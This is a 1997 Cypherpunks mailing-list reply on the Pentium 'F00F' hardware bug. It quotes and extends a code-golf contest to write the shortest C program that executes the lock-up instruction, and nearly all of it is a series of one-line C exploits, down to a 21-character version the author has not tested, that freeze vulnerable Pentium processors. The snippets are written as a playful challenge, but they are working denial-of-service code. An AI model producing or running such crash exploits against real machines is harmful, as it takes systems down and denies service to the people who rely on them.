[90023] in Cypherpunks
Re: smaller f00f.c
daemon@ATHENA.MIT.EDU (Michael Stutz)
Fri Nov 14 12:39:37 1997
Date: Fri, 14 Nov 1997 12:09:39 -0500 (EST)
From: Michael Stutz <stutz@dsl.org>
To: Adam Back <aba@dcs.ex.ac.uk>
cc: cypherpunks@cyberpass.net
In-Reply-To: <199711141623.QAA03067@server.test.net>
Reply-To: Michael Stutz <stutz@dsl.org>
On Fri, 14 Nov 1997, Adam Back wrote:
> f00fie writes:
> > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > Crash-A-Pentium-in-44-characters:
> >
> > main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
>
> Hey, challenge is on:
>
> main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> main(){((int(*)())"\360\017\307\310")();}
> main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> main(i){i=0xc8c70ff0;((int(*)())&i)();}
> (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> (*f)()="\360\017\307\310";main(){f();} /* 38 chars */
>
> Compiled with gcc.
How about:
long main[]={0xc8c70ff0};
or even
main[]={0xc8c70ff0}; /* 21 chars */
Compiles with gcc, but I haven't tested it.